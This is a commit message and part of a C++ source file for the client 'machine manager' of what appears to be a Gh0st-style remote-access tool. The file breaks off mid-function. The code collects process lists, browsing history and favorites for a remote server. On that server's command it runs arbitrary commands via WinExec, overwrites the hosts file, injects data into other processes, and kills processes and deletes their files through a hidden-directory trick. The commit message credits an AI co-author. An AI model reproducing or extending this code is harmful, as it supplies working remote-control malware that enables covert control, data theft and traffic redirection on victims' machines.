Migrate the MachineManager client from SimplePlugins and wire the server toolbar. Client: - Add CMachineManager (process/window/net/software/IE history/favorites/service/task/hosts enumeration plus process injection via yapi.hpp). - Add COMMAND_MACHINE_MANAGE (162) and spawn the manager on an authenticated sub-connection in KernelManager. - Register MachineManager.cpp/.h and yapi.hpp in both client projects. Server: - Add the 主机管理 toolbar button (index 18, after 远程交谈) reusing the IDI_MACHINE icon, plus en/zh_TW/de translations. Fix: - Free the IEnumSTATURL strings (su.pwcsUrl/su.pwcsTitle) with CoTaskMemFree, release the enumerator, and set STATURL.cbSize to stop the IE-history leak reported by VLD. Co-Authored-By: deepseek-v4-pro
2544 lines
94 KiB
C++
2544 lines
94 KiB
C++
// ShellManager.cpp: implementation of the CMachineManager class.
|
||
//
|
||
//////////////////////////////////////////////////////////////////////
|
||
#include "stdafx.h"
|
||
#include "MachineManager.h"
|
||
#include <psapi.h>
|
||
#include <LMACCESS.h>
|
||
#include <LMERR.h>
|
||
#include <LMAPIBUF.h>
|
||
#include <Wtsapi32.h>
|
||
#include <setupapi.h>
|
||
#include <devguid.h>
|
||
#include <regstr.h>
|
||
|
||
#pragma comment(lib,"Iphlpapi.lib")
|
||
#pragma comment(lib,"Psapi.lib")
|
||
#pragma comment(lib,"Wtsapi32.lib")
|
||
#pragma comment(lib,"netapi32")
|
||
#pragma comment(lib,"Setupapi.lib")
|
||
|
||
#include <urlhist.h>
|
||
#include <ShlGuid.h>
|
||
|
||
//////////////////////////////////////////////////////////////////////
|
||
// Construction/Destruction
|
||
//////////////////////////////////////////////////////////////////////
|
||
|
||
|
||
PidandStitle m_PidandStitle;
|
||
PidandStitle::iterator it_m_PidandStitle;
|
||
|
||
BSTR CharToBSTR(const char* input)
|
||
{
|
||
int len = MultiByteToWideChar(CP_ACP, 0, input, -1, NULL, 0);
|
||
wchar_t* wide = new wchar_t[len];
|
||
MultiByteToWideChar(CP_ACP, 0, input, -1, wide, len);
|
||
BSTR bstr = SysAllocString(wide);
|
||
delete[] wide;
|
||
return bstr;
|
||
}
|
||
|
||
std::string BSTRToUTF8(const BSTR bstr)
|
||
{
|
||
if (!bstr) return "";
|
||
|
||
int wideLen = SysStringLen(bstr);
|
||
if (wideLen == 0) return "";
|
||
|
||
int utf8Len = WideCharToMultiByte(CP_UTF8, 0, bstr, wideLen, nullptr, 0, nullptr, nullptr);
|
||
if (utf8Len <= 0) return "";
|
||
|
||
std::string utf8Str(utf8Len, '\0');
|
||
WideCharToMultiByte(CP_UTF8, 0, bstr, wideLen, &utf8Str[0], utf8Len, nullptr, nullptr);
|
||
|
||
return utf8Str;
|
||
}
|
||
|
||
std::string WideToUtf8(LPCWSTR lpwstr) {
|
||
if (!lpwstr) return "";
|
||
|
||
int size = WideCharToMultiByte(CP_UTF8, 0, lpwstr, -1, nullptr, 0, nullptr, nullptr);
|
||
if (size <= 0) return "";
|
||
|
||
std::string result(size - 1, 0);
|
||
WideCharToMultiByte(CP_UTF8, 0, lpwstr, -1, &result[0], size, nullptr, nullptr);
|
||
return result;
|
||
}
|
||
|
||
std::string WideToAnsi(LPCWSTR lpwstr) {
|
||
if (!lpwstr) return "";
|
||
|
||
int size = WideCharToMultiByte(CP_ACP, 0, lpwstr, -1, nullptr, 0, nullptr, nullptr);
|
||
if (size <= 0) return "";
|
||
|
||
std::string result(size - 1, 0);
|
||
WideCharToMultiByte(CP_ACP, 0, lpwstr, -1, &result[0], size, nullptr, nullptr);
|
||
return result;
|
||
}
|
||
|
||
CMachineManager::CMachineManager(IOCPClient* ClientObject, int n, void* user) : CManager(ClientObject)
|
||
{
|
||
BYTE lpBuffer = TOKEN_SYSINFOLIST;
|
||
Send((LPBYTE)&lpBuffer, 1);
|
||
m_bUse = TRUE;
|
||
m_dwServiceType = 0;
|
||
}
|
||
|
||
CMachineManager::~CMachineManager()
|
||
{
|
||
}
|
||
|
||
void CMachineManager::OnReceive(PBYTE lpBuffer, ULONG nSize)
|
||
{
|
||
if (lpBuffer[0] == TOKEN_HEARTBEAT) return;
|
||
switch (lpBuffer[0]) {
|
||
case COMMAND_MACHINE_PROCESS:
|
||
SendProcessList();
|
||
break;
|
||
case COMMAND_MACHINE_WINDOWS:
|
||
SendWindowsList();
|
||
break;
|
||
case COMMAND_MACHINE_NETSTATE:
|
||
SendNetStateList();
|
||
break;
|
||
case COMMAND_MACHINE_SOFTWARE:
|
||
SendSoftWareList();
|
||
break;
|
||
case COMMAND_MACHINE_HTML:
|
||
SendIEHistoryList();
|
||
break;
|
||
case COMMAND_MACHINE_FAVORITES:
|
||
SendFavoritesUrlList();
|
||
break;
|
||
case COMMAND_MACHINE_WIN32SERVICE:
|
||
m_dwServiceType = SERVICE_WIN32;
|
||
SendServicesList(SERVICE_WIN32);
|
||
break;
|
||
case COMMAND_MACHINE_DRIVERSERVICE:
|
||
m_dwServiceType = SERVICE_KERNEL_DRIVER;
|
||
SendServicesList(SERVICE_KERNEL_DRIVER);
|
||
break;
|
||
case COMMAND_MACHINE_TASK:
|
||
GetRoot();
|
||
break;
|
||
case COMMAND_MACHINE_HOSTS:
|
||
SendHostsList();
|
||
break;
|
||
case COMMAND_DELETESERVERICE:
|
||
DeleteService((LPBYTE)lpBuffer + 1, nSize - 1);
|
||
break;
|
||
case COMMAND_STARTSERVERICE:
|
||
MyControlService((LPBYTE)lpBuffer + 1, 0);
|
||
break;
|
||
case COMMAND_STOPSERVERICE:
|
||
MyControlService((LPBYTE)lpBuffer + 1, 1);
|
||
break;
|
||
case COMMAND_PAUSESERVERICE:
|
||
MyControlService((LPBYTE)lpBuffer + 1, 2);
|
||
break;
|
||
case COMMAND_CONTINUESERVERICE:
|
||
MyControlService((LPBYTE)lpBuffer + 1, 3);
|
||
break;
|
||
case COMMAND_APPUNINSTALL:
|
||
WinExec((LPCSTR)lpBuffer + 1, SW_SHOW);
|
||
break;
|
||
case COMMAND_WINDOW_OPERATE: { //还原窗口
|
||
DWORD hwnd;
|
||
DWORD dHow;
|
||
memcpy((void*)&hwnd, lpBuffer + 1, sizeof(DWORD)); //得到窗口句柄
|
||
memcpy(&dHow, lpBuffer + 1 + sizeof(DWORD), sizeof(DWORD)); //得到窗口处理参数
|
||
ShowWindow((HWND__*)hwnd, dHow);
|
||
}
|
||
break;
|
||
case COMMAND_WINDOW_CLOSE: { //关闭
|
||
DWORD hwnd;
|
||
memcpy(&hwnd, lpBuffer + 1, sizeof(DWORD)); //得到窗口句柄
|
||
::PostMessage((HWND__*)hwnd, WM_CLOSE, 0, 0); //向窗口发送关闭消息
|
||
}
|
||
break;
|
||
|
||
case COMMAND_PROCESS_KILLDEL: {
|
||
HANDLE hProcess = NULL;
|
||
DebugPrivilege(SE_DEBUG_NAME, TRUE);
|
||
char strProcessName[MAX_PATH] = { 0 };
|
||
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, *(LPDWORD)(lpBuffer + 1));
|
||
GetModuleFileNameEx(hProcess, NULL, strProcessName, sizeof(strProcessName));
|
||
BOOL bProcess = TerminateProcess(hProcess, 0);
|
||
|
||
if (lpBuffer[0] && bProcess) {
|
||
int n = 0;
|
||
while (1) {
|
||
DeleteFile(strProcessName);
|
||
Sleep(200);
|
||
if (GetFileAttributes(strProcessName) == -1) //检查文件不存在 退出
|
||
break;
|
||
n++;
|
||
if (n >= 10) //无法删除 一段时间后退出
|
||
break;
|
||
}
|
||
}
|
||
CloseHandle(hProcess);
|
||
|
||
DebugPrivilege(SE_DEBUG_NAME, FALSE);
|
||
// 稍稍Sleep下,防止出错
|
||
Sleep(100);
|
||
}
|
||
break;
|
||
case COMMAND_PROCESS_DEL: {
|
||
HANDLE hProcess = NULL;
|
||
DebugPrivilege(SE_DEBUG_NAME, TRUE);
|
||
char strProcessName[MAX_PATH] = { 0 };
|
||
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, *(LPDWORD)(lpBuffer + 1));
|
||
GetModuleFileNameEx(hProcess, NULL, strProcessName, MAX_PATH);
|
||
if (lpBuffer[1]) {
|
||
char Tem_path[MAX_PATH];
|
||
char path_one[MAX_PATH];
|
||
char path_two[MAX_PATH];
|
||
char path_three[MAX_PATH];
|
||
char path_four[MAX_PATH];
|
||
int n = 0;
|
||
SECURITY_ATTRIBUTES SecAttr;
|
||
SecAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
|
||
SecAttr.bInheritHandle = FALSE;
|
||
SecAttr.lpSecurityDescriptor = NULL;
|
||
while (1) {
|
||
GetTempPath(MAX_PATH, Tem_path);
|
||
srand((unsigned int)time(0));
|
||
int A = rand();
|
||
int B = A + 1;
|
||
wsprintf(path_one, _T("%s%d"), Tem_path, A);
|
||
CreateDirectory(path_one, &SecAttr); //CreateDirectoryA(目录, 安全性结构)
|
||
wsprintf(path_two, _T("%s%s"), path_one, _T("\\....\\"));
|
||
CreateDirectory(path_two, &SecAttr);// CreateDirectoryA(目录 + “\....\”, 安全性结构)
|
||
wsprintf(path_three, _T("%s\\%d"), path_two, B);
|
||
MoveFile(strProcessName, path_three); //MoveFileA(文件名, 目录 + “\....\” + 字母)
|
||
wsprintf(path_four, _T("%s\\%d"), path_one, B);
|
||
MoveFile(path_two, path_four); // MoveFileA(目录 + “\....\”, 目录 + “\” + 字母)
|
||
DeleteFile(path_one); //删除目录(目录)
|
||
Sleep(200);
|
||
if (GetFileAttributes(strProcessName) == -1) //检查文件不存在 退出
|
||
return;
|
||
n++;
|
||
if (n >= 10) //无法删除 一段时间后退出
|
||
return;
|
||
}
|
||
}
|
||
CloseHandle(hProcess);
|
||
DebugPrivilege(SE_DEBUG_NAME, FALSE);
|
||
// 稍稍Sleep下,防止出错
|
||
Sleep(100);
|
||
}
|
||
break;
|
||
|
||
case COMMAND_PROCESS_KILL: {
|
||
HANDLE hProcess = NULL;
|
||
DebugPrivilege(SE_DEBUG_NAME, TRUE);
|
||
char strProcessName[MAX_PATH] = { 0 };
|
||
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, *(LPDWORD)(lpBuffer + 1));
|
||
GetModuleFileNameEx(hProcess, NULL, strProcessName, sizeof(strProcessName));
|
||
BOOL bProcess = TerminateProcess(hProcess, 0);
|
||
CloseHandle(hProcess);
|
||
|
||
DebugPrivilege(SE_DEBUG_NAME, FALSE);
|
||
// 稍稍Sleep下,防止出错
|
||
Sleep(100);
|
||
SendProcessList();
|
||
}
|
||
break;
|
||
case COMMAND_PROCESS_FREEZING: {
|
||
HANDLE hProcess = NULL;
|
||
DebugPrivilege(SE_DEBUG_NAME, TRUE);
|
||
DWORD Pid = *(LPDWORD)(lpBuffer+1);
|
||
THREADENTRY32 th32;
|
||
th32.dwSize = sizeof(th32);
|
||
HANDLE hThreadSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
|
||
if (hThreadSnap == INVALID_HANDLE_VALUE) {
|
||
break;
|
||
}
|
||
BOOL b = ::Thread32First(hThreadSnap, &th32);
|
||
while (b) {
|
||
if (th32.th32OwnerProcessID == Pid) {
|
||
HANDLE oth = OpenThread(THREAD_ALL_ACCESS, FALSE, th32.th32ThreadID);
|
||
::SuspendThread(oth);
|
||
CloseHandle(oth);
|
||
}
|
||
b = ::Thread32Next(hThreadSnap, &th32);
|
||
}
|
||
::CloseHandle(hThreadSnap);
|
||
}
|
||
break;
|
||
case COMMAND_PROCESS_THAW: {
|
||
HANDLE hProcess = NULL;
|
||
DebugPrivilege(SE_DEBUG_NAME, TRUE);
|
||
DWORD Pid = *(LPDWORD)(lpBuffer+1);
|
||
THREADENTRY32 th32;
|
||
th32.dwSize = sizeof(th32);
|
||
HANDLE hThreadSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
|
||
if (hThreadSnap == INVALID_HANDLE_VALUE) {
|
||
break;
|
||
}
|
||
BOOL b = ::Thread32First(hThreadSnap, &th32);
|
||
while (b) {
|
||
if (th32.th32OwnerProcessID == Pid) {
|
||
HANDLE oth = OpenThread(THREAD_ALL_ACCESS, FALSE, th32.th32ThreadID);
|
||
::ResumeThread(oth);
|
||
CloseHandle(oth);
|
||
break;
|
||
}
|
||
::Thread32Next(hThreadSnap, &th32);
|
||
}
|
||
::CloseHandle(hThreadSnap);
|
||
}
|
||
break;
|
||
case COMMAND_HOSTS_SET: {
|
||
char szHostsFile[MAX_PATH] = { 0 };
|
||
BOOL bIsWow64 = FALSE;
|
||
HANDLE hFile = INVALID_HANDLE_VALUE;
|
||
DWORD dwWritten;
|
||
|
||
GetWindowsDirectory(szHostsFile, sizeof(szHostsFile));
|
||
::IsWow64Process(::GetCurrentProcess(), &bIsWow64);
|
||
if (bIsWow64)
|
||
lstrcat(szHostsFile, _T("\\sysnative\\drivers\\etc\\hosts"));
|
||
else
|
||
lstrcat(szHostsFile, _T("\\system32\\drivers\\etc\\hosts"));
|
||
|
||
SetFileAttributes(szHostsFile, FILE_ATTRIBUTE_NORMAL);
|
||
hFile = CreateFile(szHostsFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, NULL);
|
||
if (hFile == INVALID_HANDLE_VALUE)
|
||
return;
|
||
if (!WriteFile(hFile, lpBuffer + 1, nSize - 1, &dwWritten, NULL)) {
|
||
CloseHandle(hFile);
|
||
return;
|
||
}
|
||
CloseHandle(hFile);
|
||
}
|
||
break;
|
||
case COMMAND_INJECT: { // lpBuffer, UINT nSize)
|
||
if (nSize < sizeof(InjectData)) return;
|
||
InjectData* p_InjectData =(InjectData*) (lpBuffer+1);
|
||
byte* data = lpBuffer + sizeof(InjectData)+1;
|
||
if ((nSize - sizeof(InjectData)-1) != p_InjectData->datasize) return;
|
||
injectprocess(p_InjectData->mode, p_InjectData->ExeIsx86, p_InjectData->dwProcessID, data, p_InjectData->datasize, p_InjectData->strpath);
|
||
}
|
||
break;
|
||
|
||
default:
|
||
|
||
break;
|
||
}
|
||
}
|
||
|
||
BOOL CMachineManager::DebugPrivilege(const char* PName, BOOL bEnable)
|
||
{
|
||
BOOL bResult = TRUE;
|
||
HANDLE hToken;
|
||
TOKEN_PRIVILEGES TokenPrivileges;
|
||
|
||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) {
|
||
bResult = FALSE;
|
||
return bResult;
|
||
}
|
||
TokenPrivileges.PrivilegeCount = 1;
|
||
TokenPrivileges.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0;
|
||
|
||
LookupPrivilegeValue(NULL, PName, &TokenPrivileges.Privileges[0].Luid);
|
||
AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
|
||
if (GetLastError() != ERROR_SUCCESS) {
|
||
bResult = FALSE;
|
||
}
|
||
|
||
CloseHandle(hToken);
|
||
return bResult;
|
||
}
|
||
|
||
BOOL DosPathToNtPath(LPTSTR pszDosPath, LPTSTR pszNtPath)
|
||
{
|
||
char szDriveStr[500];
|
||
char szDrive[3];
|
||
char szDevName[100];
|
||
INT cchDevName;
|
||
INT i;
|
||
|
||
//检查参数
|
||
if (!pszDosPath || !pszNtPath)
|
||
return FALSE;
|
||
|
||
//获取本地磁盘字符串
|
||
if (GetLogicalDriveStrings(sizeof(szDriveStr), szDriveStr)) {
|
||
for (i = 0; szDriveStr[i]; i += 4) {
|
||
if (!lstrcmpi(&(szDriveStr[i]), _T("A:\\")) || !lstrcmpi(&(szDriveStr[i]), _T("B:\\")))
|
||
continue;
|
||
|
||
szDrive[0] = szDriveStr[i];
|
||
szDrive[1] = szDriveStr[i + 1];
|
||
szDrive[2] = _T('\0');
|
||
if (!QueryDosDevice(szDrive, szDevName, 100))//查询 Dos 设备名
|
||
return FALSE;
|
||
|
||
cchDevName = lstrlen(szDevName);
|
||
if (_tcsnccmp(pszDosPath, szDevName, cchDevName) == 0) { //命中
|
||
lstrcpy(pszNtPath, szDrive);//复制驱动器
|
||
lstrcat(pszNtPath, pszDosPath + cchDevName);//复制路径
|
||
return TRUE;
|
||
}
|
||
}
|
||
}
|
||
|
||
lstrcpy(pszNtPath, pszDosPath);
|
||
|
||
return FALSE;
|
||
}
|
||
|
||
BOOL GetProcessUserName(HANDLE hProcess, char* strProcessUser)
|
||
{
|
||
HANDLE hToken = NULL;
|
||
BOOL bFuncReturn = FALSE;
|
||
PTOKEN_USER pToken_User = NULL;
|
||
DWORD dwTokenUser = 0;
|
||
char szAccName[MAX_PATH] = { 0 };
|
||
char szDomainName[MAX_PATH] = { 0 };
|
||
HANDLE hProcessToken = NULL;
|
||
if (hProcess != NULL) {
|
||
// 提升本进程的权限
|
||
bFuncReturn = ::OpenProcessToken(hProcess, TOKEN_QUERY, &hToken);
|
||
if (bFuncReturn == 0) // 失败
|
||
return FALSE;
|
||
|
||
if (hToken != NULL) {
|
||
::GetTokenInformation(hToken, TokenUser, NULL, 0L, &dwTokenUser);
|
||
if (dwTokenUser > 0) {
|
||
pToken_User = (PTOKEN_USER)::GlobalAlloc(GPTR, dwTokenUser);
|
||
}
|
||
|
||
if (pToken_User != NULL) {
|
||
bFuncReturn = ::GetTokenInformation(hToken, TokenUser, pToken_User, dwTokenUser, &dwTokenUser);
|
||
}
|
||
|
||
if (bFuncReturn != FALSE && pToken_User != NULL) {
|
||
SID_NAME_USE eUse = SidTypeUnknown;
|
||
DWORD dwAccName = 0L;
|
||
DWORD dwDomainName = 0L;
|
||
PSID pSid = pToken_User->User.Sid;
|
||
bFuncReturn = ::LookupAccountSid(NULL, pSid, NULL, &dwAccName,
|
||
NULL, &dwDomainName, &eUse);
|
||
|
||
if (dwAccName > 0 && dwAccName < MAX_PATH && dwDomainName>0 && dwDomainName <= MAX_PATH) {
|
||
bFuncReturn = ::LookupAccountSid(NULL, pSid, szAccName, &dwAccName,
|
||
szDomainName, &dwDomainName, &eUse);
|
||
}
|
||
|
||
if (bFuncReturn != 0)
|
||
lstrcpy(strProcessUser, szAccName);
|
||
}
|
||
}
|
||
}
|
||
|
||
if (pToken_User != NULL)
|
||
::GlobalFree(pToken_User);
|
||
|
||
if (hToken != NULL)
|
||
::CloseHandle(hToken);
|
||
|
||
return TRUE;
|
||
}
|
||
|
||
void CMachineManager::SendProcessList()
|
||
{
|
||
UINT nRet = -1;
|
||
LPBYTE lpBuffer = getProcessList();
|
||
if (lpBuffer == NULL)
|
||
return;
|
||
|
||
Send((LPBYTE)lpBuffer, (int)LocalSize(lpBuffer));
|
||
LocalFree(lpBuffer);
|
||
}
|
||
|
||
|
||
static BOOL CALLBACK lpEnumFunc(HWND hwnd, LPARAM lParam)
|
||
{
|
||
if (NULL == hwnd) {
|
||
return TRUE;
|
||
}
|
||
if (!::IsWindow(hwnd))
|
||
return TRUE;
|
||
|
||
if (!IsWindowVisible(hwnd))
|
||
return TRUE;
|
||
DWORD processId;
|
||
GetWindowThreadProcessId(
|
||
hwnd, // 窗口句柄
|
||
&processId // 接收 PID 的指针
|
||
);
|
||
|
||
int i = GetWindowTextLength(hwnd);
|
||
char szBuf_title[MAX_PATH];
|
||
if (i > (MAX_PATH - 1)) return TRUE;
|
||
GetWindowText(
|
||
hwnd, // 窗口句柄
|
||
szBuf_title, // 接收窗口标题的缓冲区指针
|
||
i + 1 // 缓冲区字节大小
|
||
);
|
||
|
||
m_PidandStitle.insert(MAKE_PAIR(PidandStitle,processId, szBuf_title));
|
||
return TRUE;
|
||
}
|
||
|
||
|
||
bool CMachineManager::Is64BitOS()
|
||
{
|
||
typedef VOID(WINAPI* LPFN_GetNativeSystemInfo)(__out LPSYSTEM_INFO lpSystemInfo);
|
||
LPFN_GetNativeSystemInfo fnGetNativeSystemInfo = (LPFN_GetNativeSystemInfo)GetProcAddress(GetModuleHandleW(L"kernel32"),
|
||
"GetNativeSystemInfo");
|
||
if (fnGetNativeSystemInfo) {
|
||
SYSTEM_INFO stInfo = { 0 };
|
||
fnGetNativeSystemInfo(&stInfo);
|
||
if (stInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64
|
||
|| stInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64) {
|
||
return true;
|
||
}
|
||
}
|
||
return false;
|
||
}
|
||
|
||
|
||
bool CMachineManager::Is64BitPorcess(DWORD dwProcessID)
|
||
{
|
||
if (!Is64BitOS()) {
|
||
return FALSE;
|
||
} else {
|
||
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwProcessID);
|
||
if (hProcess) {
|
||
typedef BOOL(WINAPI* LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);
|
||
LPFN_ISWOW64PROCESS fnIsWow64Process = (LPFN_ISWOW64PROCESS)GetProcAddress(GetModuleHandleW(L"kernel32"), "IsWow64Process");
|
||
if (NULL != fnIsWow64Process) {
|
||
BOOL bIsWow64 = false;
|
||
fnIsWow64Process(hProcess, &bIsWow64);
|
||
CloseHandle(hProcess);
|
||
if (bIsWow64) {
|
||
return false;
|
||
} else {
|
||
return true;
|
||
}
|
||
}
|
||
}
|
||
}
|
||
return false;
|
||
}
|
||
|
||
|
||
LPBYTE CMachineManager::getProcessList()
|
||
{
|
||
HANDLE hSnapshot = NULL;
|
||
HANDLE hProcess = NULL;
|
||
HMODULE hModules = NULL;
|
||
PROCESSENTRY32 pe32 = { 0 };
|
||
DWORD cbNeeded;
|
||
char strProcessName[MAX_PATH] = { 0 };
|
||
char strProcessUser[MAX_PATH] = { 0 };
|
||
char szImagePath[MAX_PATH] = { 0 };
|
||
LPBYTE lpBuffer = NULL;
|
||
DWORD dwOffset = 0;
|
||
DWORD dwLength = 0;
|
||
DWORD dwWorkingSetSize = 0;
|
||
DWORD dwFileSize = 0;
|
||
PROCESS_MEMORY_COUNTERS pmc;
|
||
DebugPrivilege(SE_DEBUG_NAME, TRUE);
|
||
|
||
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||
|
||
if (hSnapshot == INVALID_HANDLE_VALUE)
|
||
return NULL;
|
||
|
||
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||
|
||
lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024);
|
||
|
||
lpBuffer[0] = TOKEN_MACHINE_PROCESS;
|
||
dwOffset = 1;
|
||
|
||
m_PidandStitle.clear();
|
||
it_m_PidandStitle = m_PidandStitle.begin();
|
||
while (it_m_PidandStitle != m_PidandStitle.end()) {
|
||
m_PidandStitle.erase(it_m_PidandStitle++);
|
||
}
|
||
|
||
EnumWindows(lpEnumFunc, NULL);
|
||
|
||
if (Process32First(hSnapshot, &pe32)) {
|
||
do {
|
||
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe32.th32ProcessID);
|
||
if ((pe32.th32ProcessID != 0) && (pe32.th32ProcessID != 4) && (pe32.th32ProcessID != 8)) {
|
||
EnumProcessModules(hProcess, &hModules, sizeof(hModules), &cbNeeded);
|
||
|
||
if (0 == GetProcessImageFileName(hProcess, szImagePath, MAX_PATH)) {
|
||
lstrcpy(strProcessName, _T("---"));
|
||
} else if (!DosPathToNtPath(szImagePath, strProcessName)) {
|
||
}
|
||
|
||
memset(strProcessUser, 0, sizeof(strProcessUser));
|
||
if (GetProcessUserName(hProcess, strProcessUser)) {
|
||
if (lstrlen(strProcessUser) == 0) {
|
||
lstrcpy(strProcessUser, _T("--"));
|
||
}
|
||
} else {
|
||
lstrcpy(strProcessUser, _T("-"));
|
||
}
|
||
|
||
// 此进程占用数据大小
|
||
dwLength = sizeof(DWORD) * 5 + sizeof(bool) + MAX_PATH * sizeof(char) + lstrlen(pe32.szExeFile) * sizeof(char) +
|
||
lstrlen(strProcessName) * sizeof(char) + lstrlen(strProcessUser) * sizeof(char) + 6;
|
||
// 缓冲区太小,再重新分配下
|
||
if (LocalSize(lpBuffer) < (dwOffset + dwLength))
|
||
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE);
|
||
|
||
memcpy(lpBuffer + dwOffset, &(pe32.th32ProcessID), sizeof(DWORD));
|
||
dwOffset += sizeof(DWORD);
|
||
|
||
bool is64 = Is64BitPorcess(pe32.th32ProcessID);
|
||
memcpy(lpBuffer + dwOffset, &is64, sizeof(bool));
|
||
dwOffset += sizeof(bool);
|
||
|
||
it_m_PidandStitle = m_PidandStitle.find(pe32.th32ProcessID);
|
||
if (it_m_PidandStitle == m_PidandStitle.end()) { //没有在列表就断开连接 让客户端重新发送登录信息
|
||
memcpy(lpBuffer + dwOffset, _T(""), MAX_PATH * sizeof(char));
|
||
} else {
|
||
std::string str_title = it_m_PidandStitle->second;
|
||
memcpy(lpBuffer + dwOffset, str_title.c_str(), str_title.length()*sizeof(char));
|
||
}
|
||
|
||
dwOffset += MAX_PATH * sizeof(char);
|
||
|
||
memcpy(lpBuffer + dwOffset, pe32.szExeFile, lstrlen(pe32.szExeFile) * sizeof(char) + 2);
|
||
dwOffset += lstrlen(pe32.szExeFile) * sizeof(char) + 2;
|
||
|
||
memcpy(lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) * sizeof(char) + 2);
|
||
dwOffset += lstrlen(strProcessName) * sizeof(char) + 2;
|
||
|
||
DWORD dwPriClass = GetPriorityClass(hProcess);
|
||
memcpy(lpBuffer + dwOffset, &dwPriClass, sizeof(DWORD));
|
||
dwOffset += sizeof(DWORD);
|
||
|
||
dwPriClass = pe32.cntThreads;
|
||
memcpy(lpBuffer + dwOffset, &dwPriClass, sizeof(DWORD));
|
||
dwOffset += sizeof(DWORD);
|
||
|
||
memcpy(lpBuffer + dwOffset, strProcessUser, lstrlen(strProcessUser) * sizeof(char) + 2);
|
||
dwOffset += lstrlen(strProcessUser) * sizeof(char) + 2;
|
||
|
||
ZeroMemory(&pmc, sizeof(pmc));
|
||
pmc.cb = sizeof(PROCESS_MEMORY_COUNTERS);
|
||
if (GetProcessMemoryInfo(hProcess, &pmc, sizeof(pmc))) {
|
||
dwWorkingSetSize = (DWORD)(pmc.WorkingSetSize / 1024); //单位为k
|
||
} else
|
||
dwWorkingSetSize = 0;
|
||
|
||
memcpy(lpBuffer + dwOffset, &dwWorkingSetSize, sizeof(DWORD));
|
||
dwOffset += sizeof(DWORD);
|
||
|
||
|
||
HANDLE handle = CreateFile(strProcessName, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0);
|
||
if (handle != INVALID_HANDLE_VALUE) {
|
||
dwFileSize = GetFileSize(handle, NULL) / 1024;
|
||
CloseHandle(handle);
|
||
} else
|
||
dwFileSize = 0;
|
||
|
||
memcpy(lpBuffer + dwOffset, &dwFileSize, sizeof(DWORD));
|
||
dwOffset += sizeof(DWORD);
|
||
}
|
||
|
||
CloseHandle(hProcess);//新修改
|
||
} while (Process32Next(hSnapshot, &pe32));
|
||
}
|
||
|
||
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT | LMEM_MOVEABLE);
|
||
|
||
DebugPrivilege(SE_DEBUG_NAME, FALSE);
|
||
CloseHandle(hSnapshot);
|
||
return lpBuffer;
|
||
}
|
||
|
||
//根据进程ID获取窗口句柄
|
||
HWND CMachineManager::GetHwndByPid(DWORD dwProcessID)
|
||
{
|
||
//返回Z序顶部的窗口句柄
|
||
HWND hWnd = ::GetTopWindow(0);
|
||
|
||
while (hWnd) {
|
||
DWORD pid = 0;
|
||
//根据窗口句柄获取进程ID
|
||
DWORD dwTheardId = ::GetWindowThreadProcessId(hWnd, &pid);
|
||
|
||
if (dwTheardId != 0) {
|
||
if (pid == dwProcessID) {
|
||
return hWnd;
|
||
}
|
||
}
|
||
//返回z序中的前一个或后一个窗口的句柄
|
||
hWnd = ::GetNextWindow(hWnd, GW_HWNDNEXT);
|
||
|
||
}
|
||
return 0;
|
||
}
|
||
|
||
LPBYTE CMachineManager::getWindowsList()
|
||
{
|
||
LPBYTE lpBuffer = NULL;
|
||
EnumWindows((WNDENUMPROC)EnumWindowsProc, (LPARAM)&lpBuffer);
|
||
lpBuffer[0] = TOKEN_MACHINE_WINDOWS;
|
||
return lpBuffer;
|
||
}
|
||
|
||
|
||
void CMachineManager::SendWindowsList()
|
||
{
|
||
LPBYTE lpBuffer = getWindowsList();
|
||
if (lpBuffer == NULL)
|
||
return;
|
||
|
||
Send((LPBYTE)lpBuffer, (int)LocalSize(lpBuffer));
|
||
LocalFree(lpBuffer);
|
||
}
|
||
|
||
|
||
void CMachineManager::SendNetStateList()
|
||
{
|
||
LPBYTE lpBuffer = getNetStateList();
|
||
if (lpBuffer == NULL)
|
||
return;
|
||
|
||
Send((LPBYTE)lpBuffer, (UINT)LocalSize(lpBuffer));
|
||
LocalFree(lpBuffer);
|
||
}
|
||
|
||
|
||
bool CALLBACK CMachineManager::EnumWindowsProc(HWND hwnd, LPARAM lParam)
|
||
{
|
||
if (NULL == hwnd) {
|
||
return true;
|
||
}
|
||
|
||
if (!IsWindowVisible(hwnd))
|
||
return true;
|
||
|
||
DWORD dwOffset = 0;
|
||
|
||
LPBYTE lpBuffer = *(LPBYTE*)lParam;
|
||
|
||
WINDOWSINFO m_ibfo;
|
||
if (IsWindowVisible(hwnd)) {
|
||
m_ibfo.canlook = true;
|
||
} else {
|
||
m_ibfo.canlook = false;
|
||
}
|
||
|
||
memset(m_ibfo.strTitle, 0, sizeof(m_ibfo.strTitle));
|
||
try {
|
||
::GetWindowText(hwnd, m_ibfo.strTitle, 1024);
|
||
|
||
if (lpBuffer == NULL) {
|
||
lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1);
|
||
dwOffset = 1;
|
||
} else {
|
||
dwOffset = (DWORD)LocalSize(lpBuffer);
|
